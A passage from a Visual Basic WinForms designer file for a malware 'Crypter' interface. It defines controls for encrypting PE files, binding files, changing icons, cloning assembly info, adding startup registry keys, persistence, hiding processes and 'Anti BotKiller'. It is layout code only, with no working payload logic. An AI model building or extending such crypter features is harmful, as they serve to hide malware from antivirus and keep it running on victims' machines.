Me.DesignButton5.Size = New System.Drawing.Size(38, 21)
|
||||
Me.DesignButton5.TabIndex = 2
|
||||
Me.DesignButton5.Text = "..."
|
||||
'
|
||||
'DesignButton7
|
||||
'
|
||||
Me.DesignButton7.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton7.Location = New System.Drawing.Point(232, 536)
|
||||
Me.DesignButton7.Name = "DesignButton7"
|
||||
Me.DesignButton7.Size = New System.Drawing.Size(176, 28)
|
||||
Me.DesignButton7.TabIndex = 9
|
||||
Me.DesignButton7.Text = "Scanner"
|
||||
'
|
||||
'btnEncrypt
|
||||
'
|
||||
Me.btnEncrypt.Enabled = False
|
||||
Me.btnEncrypt.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.btnEncrypt.Location = New System.Drawing.Point(232, 488)
|
||||
Me.btnEncrypt.Name = "btnEncrypt"
|
||||
Me.btnEncrypt.Size = New System.Drawing.Size(176, 42)
|
||||
Me.btnEncrypt.TabIndex = 7
|
||||
Me.btnEncrypt.Text = "Encrypt PE"
|
||||
'
|
||||
'grpSetting
|
||||
'
|
||||
Me.grpSetting.Controls.Add(Me.DeumosCheckBox2)
|
||||
Me.grpSetting.Controls.Add(Me.DeumosCheckBox1)
|
||||
Me.grpSetting.Controls.Add(Me.chkrunOnce)
|
||||
Me.grpSetting.Controls.Add(Me.chkAssembly)
|
||||
Me.grpSetting.Controls.Add(Me.chkStartup)
|
||||
Me.grpSetting.Controls.Add(Me.chkBinder)
|
||||
Me.grpSetting.Controls.Add(Me.chkIcon)
|
||||
Me.grpSetting.Enabled = False
|
||||
Me.grpSetting.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.grpSetting.Location = New System.Drawing.Point(10, 446)
|
||||
Me.grpSetting.Name = "grpSetting"
|
||||
Me.grpSetting.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.grpSetting.Size = New System.Drawing.Size(216, 141)
|
||||
Me.grpSetting.TabIndex = 6
|
||||
Me.grpSetting.Text = "Settings"
|
||||
'
|
||||
'chkrunOnce
|
||||
'
|
||||
Me.chkrunOnce.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.chkrunOnce.Checked = False
|
||||
Me.chkrunOnce.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.chkrunOnce.Field = 16
|
||||
Me.chkrunOnce.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.chkrunOnce.Image = Nothing
|
||||
Me.chkrunOnce.Location = New System.Drawing.Point(5, 118)
|
||||
Me.chkrunOnce.Name = "chkrunOnce"
|
||||
Me.chkrunOnce.NoRounding = False
|
||||
Me.chkrunOnce.Size = New System.Drawing.Size(122, 16)
|
||||
Me.chkrunOnce.TabIndex = 4
|
||||
Me.chkrunOnce.Text = "Run Once Binder"
|
||||
Me.chkrunOnce.Transparent = False
|
||||
'
|
||||
'chkAssembly
|
||||
'
|
||||
Me.chkAssembly.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.chkAssembly.Checked = False
|
||||
Me.chkAssembly.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.chkAssembly.Field = 16
|
||||
Me.chkAssembly.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.chkAssembly.Image = Nothing
|
||||
Me.chkAssembly.Location = New System.Drawing.Point(5, 96)
|
||||
Me.chkAssembly.Name = "chkAssembly"
|
||||
Me.chkAssembly.NoRounding = False
|
||||
Me.chkAssembly.Size = New System.Drawing.Size(158, 16)
|
||||
Me.chkAssembly.TabIndex = 3
|
||||
Me.chkAssembly.Text = "Assembly Clone"
|
||||
Me.chkAssembly.Transparent = False
|
||||
'
|
||||
'chkStartup
|
||||
'
|
||||
Me.chkStartup.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.chkStartup.Checked = False
|
||||
Me.chkStartup.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.chkStartup.Field = 16
|
||||
Me.chkStartup.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.chkStartup.Image = Nothing
|
||||
Me.chkStartup.Location = New System.Drawing.Point(5, 74)
|
||||
Me.chkStartup.Name = "chkStartup"
|
||||
Me.chkStartup.NoRounding = False
|
||||
Me.chkStartup.Size = New System.Drawing.Size(144, 16)
|
||||
Me.chkStartup.TabIndex = 2
|
||||
Me.chkStartup.Text = "Startup"
|
||||
Me.chkStartup.Transparent = False
|
||||
'
|
||||
'chkBinder
|
||||
'
|
||||
Me.chkBinder.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.chkBinder.Checked = False
|
||||
Me.chkBinder.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.chkBinder.Field = 16
|
||||
Me.chkBinder.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.chkBinder.Image = Nothing
|
||||
Me.chkBinder.Location = New System.Drawing.Point(5, 52)
|
||||
Me.chkBinder.Name = "chkBinder"
|
||||
Me.chkBinder.NoRounding = False
|
||||
Me.chkBinder.Size = New System.Drawing.Size(144, 16)
|
||||
Me.chkBinder.TabIndex = 1
|
||||
Me.chkBinder.Text = "Binder"
|
||||
Me.chkBinder.Transparent = False
|
||||
'
|
||||
'chkIcon
|
||||
'
|
||||
Me.chkIcon.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.chkIcon.Checked = False
|
||||
Me.chkIcon.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.chkIcon.Field = 16
|
||||
Me.chkIcon.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.chkIcon.Image = Nothing
|
||||
Me.chkIcon.Location = New System.Drawing.Point(5, 30)
|
||||
Me.chkIcon.Name = "chkIcon"
|
||||
Me.chkIcon.NoRounding = False
|
||||
Me.chkIcon.Size = New System.Drawing.Size(144, 16)
|
||||
Me.chkIcon.TabIndex = 0
|
||||
Me.chkIcon.Text = "Icon Changer"
|
||||
Me.chkIcon.Transparent = False
|
||||
'
|
||||
'grpInject
|
||||
'
|
||||
Me.grpInject.Controls.Add(Me.chkHide)
|
||||
Me.grpInject.Controls.Add(Me.chkRoot)
|
||||
Me.grpInject.Controls.Add(Me.TextBox8)
|
||||
Me.grpInject.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.grpInject.Location = New System.Drawing.Point(232, 322)
|
||||
Me.grpInject.Name = "grpInject"
|
||||
Me.grpInject.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.grpInject.Size = New System.Drawing.Size(176, 73)
|
||||
Me.grpInject.TabIndex = 5
|
||||
Me.grpInject.Text = "Custom Process Name"
|
||||
'
|
||||
'chkHide
|
||||
'
|
||||
Me.chkHide.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.chkHide.Checked = False
|
||||
Me.chkHide.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.chkHide.Field = 16
|
||||
Me.chkHide.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.chkHide.Image = Nothing
|
||||
Me.chkHide.Location = New System.Drawing.Point(78, 50)
|
||||
Me.chkHide.Name = "chkHide"
|
||||
Me.chkHide.NoRounding = False
|
||||
Me.chkHide.Size = New System.Drawing.Size(95, 16)
|
||||
Me.chkHide.TabIndex = 8
|
||||
Me.chkHide.Text = "Hide Process "
|
||||
Me.chkHide.Transparent = False
|
||||
'
|
||||
'chkRoot
|
||||
'
|
||||
Me.chkRoot.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.chkRoot.Checked = False
|
||||
Me.chkRoot.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.chkRoot.Field = 16
|
||||
Me.chkRoot.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.chkRoot.Image = Nothing
|
||||
Me.chkRoot.Location = New System.Drawing.Point(78, 28)
|
||||
Me.chkRoot.Name = "chkRoot"
|
||||
Me.chkRoot.NoRounding = False
|
||||
Me.chkRoot.Size = New System.Drawing.Size(88, 16)
|
||||
Me.chkRoot.TabIndex = 7
|
||||
Me.chkRoot.Text = "Persitance"
|
||||
Me.chkRoot.Transparent = False
|
||||
'
|
||||
'TextBox8
|
||||
'
|
||||
Me.TextBox8.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.TextBox8.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox8.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.TextBox8.Location = New System.Drawing.Point(12, 37)
|
||||
Me.TextBox8.Name = "TextBox8"
|
||||
Me.TextBox8.Size = New System.Drawing.Size(60, 21)
|
||||
Me.TextBox8.TabIndex = 6
|
||||
Me.TextBox8.Text = "WinSec"
|
||||
'
|
||||
'grpStartup
|
||||
'
|
||||
Me.grpStartup.Controls.Add(Me.txtKeyname)
|
||||
Me.grpStartup.Controls.Add(Me.txtFilename)
|
||||
Me.grpStartup.Controls.Add(Me.txtFolder)
|
||||
Me.grpStartup.Controls.Add(Me.Label3)
|
||||
Me.grpStartup.Controls.Add(Me.Label2)
|
||||
Me.grpStartup.Controls.Add(Me.Label1)
|
||||
Me.grpStartup.Enabled = False
|
||||
Me.grpStartup.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.grpStartup.Location = New System.Drawing.Point(232, 180)
|
||||
Me.grpStartup.Name = "grpStartup"
|
||||
Me.grpStartup.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.grpStartup.Size = New System.Drawing.Size(176, 136)
|
||||
Me.grpStartup.TabIndex = 4
|
||||
Me.grpStartup.Text = "Startup"
|
||||
'
|
||||
'txtKeyname
|
||||
'
|
||||
Me.txtKeyname.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.txtKeyname.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.txtKeyname.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.txtKeyname.Location = New System.Drawing.Point(78, 95)
|
||||
Me.txtKeyname.Name = "txtKeyname"
|
||||
Me.txtKeyname.Size = New System.Drawing.Size(83, 21)
|
||||
Me.txtKeyname.TabIndex = 5
|
||||
Me.txtKeyname.Text = "WinApps"
|
||||
'
|
||||
'txtFilename
|
||||
'
|
||||
Me.txtFilename.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.txtFilename.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.txtFilename.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.txtFilename.Location = New System.Drawing.Point(78, 65)
|
||||
Me.txtFilename.Name = "txtFilename"
|
||||
Me.txtFilename.Size = New System.Drawing.Size(83, 21)
|
||||
Me.txtFilename.TabIndex = 4
|
||||
Me.txtFilename.Text = "WinApps"
|
||||
'
|
||||
'txtFolder
|
||||
'
|
||||
Me.txtFolder.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.txtFolder.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.txtFolder.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.txtFolder.Location = New System.Drawing.Point(58, 38)
|
||||
Me.txtFolder.Name = "txtFolder"
|
||||
Me.txtFolder.Size = New System.Drawing.Size(103, 21)
|
||||
Me.txtFolder.TabIndex = 3
|
||||
Me.txtFolder.Text = "WinApps"
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Me.Label3.AutoSize = True
|
||||
Me.Label3.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label3.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.Label3.Location = New System.Drawing.Point(5, 97)
|
||||
Me.Label3.Name = "Label3"
|
||||
Me.Label3.Size = New System.Drawing.Size(67, 13)
|
||||
Me.Label3.TabIndex = 2
|
||||
Me.Label3.Text = "KeyName:"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label2.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.Label2.Location = New System.Drawing.Point(5, 67)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(67, 13)
|
||||
Me.Label2.TabIndex = 1
|
||||
Me.Label2.Text = "AppName:"
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label1.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.Label1.Location = New System.Drawing.Point(5, 40)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(47, 13)
|
||||
Me.Label1.TabIndex = 0
|
||||
Me.Label1.Text = "Folder:"
|
||||
'
|
||||
'grpBinder
|
||||
'
|
||||
Me.grpBinder.Controls.Add(Me.txtBinder)
|
||||
Me.grpBinder.Controls.Add(Me.DesignButton3)
|
||||
Me.grpBinder.Enabled = False
|
||||
Me.grpBinder.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.grpBinder.Location = New System.Drawing.Point(10, 376)
|
||||
Me.grpBinder.Name = "grpBinder"
|
||||
Me.grpBinder.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.grpBinder.Size = New System.Drawing.Size(216, 64)
|
||||
Me.grpBinder.TabIndex = 3
|
||||
Me.grpBinder.Text = "Binder"
|
||||
'
|
||||
'txtBinder
|
||||
'
|
||||
Me.txtBinder.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.txtBinder.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.txtBinder.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.txtBinder.Location = New System.Drawing.Point(12, 33)
|
||||
Me.txtBinder.Name = "txtBinder"
|
||||
Me.txtBinder.ReadOnly = True
|
||||
Me.txtBinder.Size = New System.Drawing.Size(151, 21)
|
||||
Me.txtBinder.TabIndex = 1
|
||||
Me.txtBinder.Text = "Browse File to Bind..."
|
||||
'
|
||||
'DesignButton3
|
||||
'
|
||||
Me.DesignButton3.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton3.Location = New System.Drawing.Point(169, 33)
|
||||
Me.DesignButton3.Name = "DesignButton3"
|
||||
Me.DesignButton3.Size = New System.Drawing.Size(38, 21)
|
||||
Me.DesignButton3.TabIndex = 0
|
||||
Me.DesignButton3.Text = "..."
|
||||
'
|
||||
'grpIcon
|
||||
'
|
||||
Me.grpIcon.Controls.Add(Me.PictureBox2)
|
||||
Me.grpIcon.Controls.Add(Me.Label4)
|
||||
Me.grpIcon.Controls.Add(Me.TextBox4)
|
||||
Me.grpIcon.Controls.Add(Me.DesignButton4)
|
||||
Me.grpIcon.Enabled = False
|
||||
Me.grpIcon.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.grpIcon.Location = New System.Drawing.Point(10, 277)
|
||||
Me.grpIcon.Name = "grpIcon"
|
||||
Me.grpIcon.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.grpIcon.Size = New System.Drawing.Size(216, 93)
|
||||
Me.grpIcon.TabIndex = 2
|
||||
Me.grpIcon.Text = "Icon Changer"
|
||||
'
|
||||
'PictureBox2
|
||||
'
|
||||
Me.PictureBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.PictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
|
||||
Me.PictureBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.PictureBox2.Location = New System.Drawing.Point(165, 55)
|
||||
Me.PictureBox2.Name = "PictureBox2"
|
||||
Me.PictureBox2.Size = New System.Drawing.Size(42, 34)
|
||||
Me.PictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
Me.PictureBox2.TabIndex = 4
|
||||
Me.PictureBox2.TabStop = False
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Me.Label4.AutoSize = True
|
||||
Me.Label4.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label4.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.Label4.Location = New System.Drawing.Point(69, 55)
|
||||
Me.Label4.Name = "Label4"
|
||||
Me.Label4.Size = New System.Drawing.Size(86, 13)
|
||||
Me.Label4.TabIndex = 3
|
||||
Me.Label4.Text = "Icon Preview:"
|
||||
'
|
||||
'TextBox4
|
||||
'
|
||||
Me.TextBox4.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.TextBox4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox4.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.TextBox4.Location = New System.Drawing.Point(12, 32)
|
||||
Me.TextBox4.Name = "TextBox4"
|
||||
Me.TextBox4.ReadOnly = True
|
||||
Me.TextBox4.Size = New System.Drawing.Size(151, 21)
|
||||
Me.TextBox4.TabIndex = 1
|
||||
Me.TextBox4.Text = "Browse Icon to Use..."
|
||||
'
|
||||
'DesignButton4
|
||||
'
|
||||
Me.DesignButton4.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton4.Location = New System.Drawing.Point(169, 32)
|
||||
Me.DesignButton4.Name = "DesignButton4"
|
||||
Me.DesignButton4.Size = New System.Drawing.Size(38, 21)
|
||||
Me.DesignButton4.TabIndex = 0
|
||||
Me.DesignButton4.Text = "..."
|
||||
'
|
||||
'DesignGroupBox1
|
||||
'
|
||||
Me.DesignGroupBox1.Controls.Add(Me.DesignButton2)
|
||||
Me.DesignGroupBox1.Controls.Add(Me.TextBox2)
|
||||
Me.DesignGroupBox1.Controls.Add(Me.TextBox1)
|
||||
Me.DesignGroupBox1.Controls.Add(Me.DesignButton1)
|
||||
Me.DesignGroupBox1.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.DesignGroupBox1.Location = New System.Drawing.Point(10, 180)
|
||||
Me.DesignGroupBox1.Name = "DesignGroupBox1"
|
||||
Me.DesignGroupBox1.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.DesignGroupBox1.Size = New System.Drawing.Size(216, 91)
|
||||
Me.DesignGroupBox1.TabIndex = 1
|
||||
Me.DesignGroupBox1.Text = "Main"
|
||||
'
|
||||
'DesignButton2
|
||||
'
|
||||
Me.DesignButton2.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton2.Location = New System.Drawing.Point(169, 59)
|
||||
Me.DesignButton2.Name = "DesignButton2"
|
||||
Me.DesignButton2.Size = New System.Drawing.Size(38, 21)
|
||||
Me.DesignButton2.TabIndex = 3
|
||||
Me.DesignButton2.Text = "Gen"
|
||||
'
|
||||
'TextBox2
|
||||
'
|
||||
Me.TextBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.TextBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox2.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.TextBox2.Location = New System.Drawing.Point(12, 59)
|
||||
Me.TextBox2.Name = "TextBox2"
|
||||
Me.TextBox2.ReadOnly = True
|
||||
Me.TextBox2.Size = New System.Drawing.Size(151, 21)
|
||||
Me.TextBox2.TabIndex = 2
|
||||
Me.TextBox2.Text = "Generate Key..."
|
||||
'
|
||||
'TextBox1
|
||||
'
|
||||
Me.TextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox1.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.TextBox1.Location = New System.Drawing.Point(12, 32)
|
||||
Me.TextBox1.Name = "TextBox1"
|
||||
Me.TextBox1.ReadOnly = True
|
||||
Me.TextBox1.Size = New System.Drawing.Size(151, 21)
|
||||
Me.TextBox1.TabIndex = 1
|
||||
Me.TextBox1.Text = "Browse File to Crypt..."
|
||||
'
|
||||
'DesignButton1
|
||||
'
|
||||
Me.DesignButton1.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton1.Location = New System.Drawing.Point(169, 32)
|
||||
Me.DesignButton1.Name = "DesignButton1"
|
||||
Me.DesignButton1.Size = New System.Drawing.Size(38, 21)
|
||||
Me.DesignButton1.TabIndex = 0
|
||||
Me.DesignButton1.Text = "..."
|
||||
'
|
||||
'DesignControlBox1
|
||||
'
|
||||
Me.DesignControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
|
||||
Me.DesignControlBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.DesignControlBox1.Location = New System.Drawing.Point(515, 3)
|
||||
Me.DesignControlBox1.Name = "DesignControlBox1"
|
||||
Me.DesignControlBox1.Size = New System.Drawing.Size(40, 20)
|
||||
Me.DesignControlBox1.TabIndex = 0
|
||||
Me.DesignControlBox1.Text = "DesignControlBox1"
|
||||
'
|
||||
'DeumosCheckBox1
|
||||
'
|
||||
Me.DeumosCheckBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.DeumosCheckBox1.Checked = False
|
||||
Me.DeumosCheckBox1.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.DeumosCheckBox1.Field = 16
|
||||
Me.DeumosCheckBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.DeumosCheckBox1.Image = Nothing
|
||||
Me.DeumosCheckBox1.Location = New System.Drawing.Point(115, 30)
|
||||
Me.DeumosCheckBox1.Name = "DeumosCheckBox1"
|
||||
Me.DeumosCheckBox1.NoRounding = False
|
||||
Me.DeumosCheckBox1.Size = New System.Drawing.Size(60, 16)
|
||||
Me.DeumosCheckBox1.TabIndex = 5
|
||||
Me.DeumosCheckBox1.Text = "USG"
|
||||
Me.DeumosCheckBox1.Transparent = False
|
||||
'
|
||||
'DeumosCheckBox2
|
||||
'
|
||||
Me.DeumosCheckBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.DeumosCheckBox2.Checked = False
|
||||
Me.DeumosCheckBox2.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8="
|
||||
Me.DeumosCheckBox2.Field = 16
|
||||
Me.DeumosCheckBox2.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.DeumosCheckBox2.Image = Nothing
|
||||
Me.DeumosCheckBox2.Location = New System.Drawing.Point(115, 52)
|
||||
Me.DeumosCheckBox2.Name = "DeumosCheckBox2"
|
||||
Me.DeumosCheckBox2.NoRounding = False
|
||||
Me.DeumosCheckBox2.Size = New System.Drawing.Size(96, 16)
|
||||
Me.DeumosCheckBox2.TabIndex = 6
|
||||
Me.DeumosCheckBox2.Text = "Anti BotKiller"
|
||||
Me.DeumosCheckBox2.Transparent = False
|
||||
'
|
||||
'Form1
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(558, 595)
|
||||
Me.Controls.Add(Me.DesignForm1)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.Name = "Form1"
|
||||
Me.Opacity = 0.95R
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "Form1"
|
||||
Me.DesignForm1.ResumeLayout(False)
|
||||
Me.DesignForm1.PerformLayout()
|
||||
Me.DesignGroupBox4.ResumeLayout(False)
|
||||
Me.DesignGroupBox4.PerformLayout()
|
||||
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.DesignGroupBox3.ResumeLayout(False)
|
||||
CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.DesignGroupBox2.ResumeLayout(False)
|
||||
Me.DesignGroupBox2.PerformLayout()
|
||||
Me.grpClone.ResumeLayout(False)
|
||||
Me.grpClone.PerformLayout()
|
||||
Me.grpSetting.ResumeLayout(False)
|
||||
Me.grpInject.ResumeLayout(False)
|
||||
Me.grpInject.PerformLayout()
|
||||
Me.grpStartup.ResumeLayout(False)
|
||||
Me.grpStartup.PerformLayout()
|
||||
Me.grpBinder.ResumeLayout(False)
|
||||
Me.grpBinder.PerformLayout()
|
||||
Me.grpIcon.ResumeLayout(False)
|
||||
Me.grpIcon.PerformLayout()
|
||||
CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.DesignGroupBox1.ResumeLayout(False)
|
||||
Me.DesignGroupBox1.PerformLayout()
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents DesignForm1 As Crypter.DesignForm
|
||||
Friend WithEvents DesignControlBox1 As Crypter.DesignControlBox
|
||||
Friend WithEvents DesignGroupBox1 As Crypter.DesignGroupBox
|
||||
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents DesignButton1 As Crypter.DesignButton
|
||||
Friend WithEvents DesignButton7 As Crypter.DesignButton
|
||||
Friend WithEvents btnEncrypt As Crypter.DesignButton
|
||||
Friend WithEvents grpSetting As Crypter.DesignGroupBox
|
||||
Friend WithEvents grpInject As Crypter.DesignGroupBox
|
||||
Friend WithEvents TextBox8 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents grpStartup As Crypter.DesignGroupBox
|
||||
Friend WithEvents txtKeyname As System.Windows.Forms.TextBox
|
||||
Friend WithEvents txtFilename As System.Windows.Forms.TextBox
|
||||
Friend WithEvents txtFolder As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label3 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label2 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents grpBinder As Crypter.DesignGroupBox
|
||||
Friend WithEvents txtBinder As System.Windows.Forms.TextBox
|
||||
Friend WithEvents DesignButton3 As Crypter.DesignButton
|
||||
Friend WithEvents grpIcon As Crypter.DesignGroupBox
|
||||
Friend WithEvents TextBox4 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents DesignButton4 As Crypter.DesignButton
|
||||
Friend WithEvents DesignButton2 As Crypter.DesignButton
|
||||
Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents chkAssembly As Crypter.DeumosCheckBox
|
||||
Friend WithEvents chkStartup As Crypter.DeumosCheckBox
|
||||
Friend WithEvents chkBinder As Crypter.DeumosCheckBox
|
||||
Friend WithEvents chkIcon As Crypter.DeumosCheckBox
|
||||
Friend WithEvents grpClone As Crypter.DesignGroupBox
|
||||
Friend WithEvents txtClone As System.Windows.Forms.TextBox
|
||||
Friend WithEvents DesignButton5 As Crypter.DesignButton
|
||||
Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox
|
||||
Friend WithEvents Label4 As System.Windows.Forms.Label
|
||||
Friend WithEvents chkrunOnce As Crypter.DeumosCheckBox
|
||||
Friend WithEvents chkRoot As Crypter.DeumosCheckBox
|
||||
Friend WithEvents chkHide As Crypter.DeumosCheckBox
|
||||
Friend WithEvents DesignGroupBox2 As Crypter.DesignGroupBox
|
||||
Friend WithEvents DesignButton8 As Crypter.DesignButton
|
||||
Friend WithEvents DesignButton6 As Crypter.DesignButton
|
||||
Friend WithEvents TextBox3 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents DesignGroupBox3 As Crypter.DesignGroupBox
|
||||
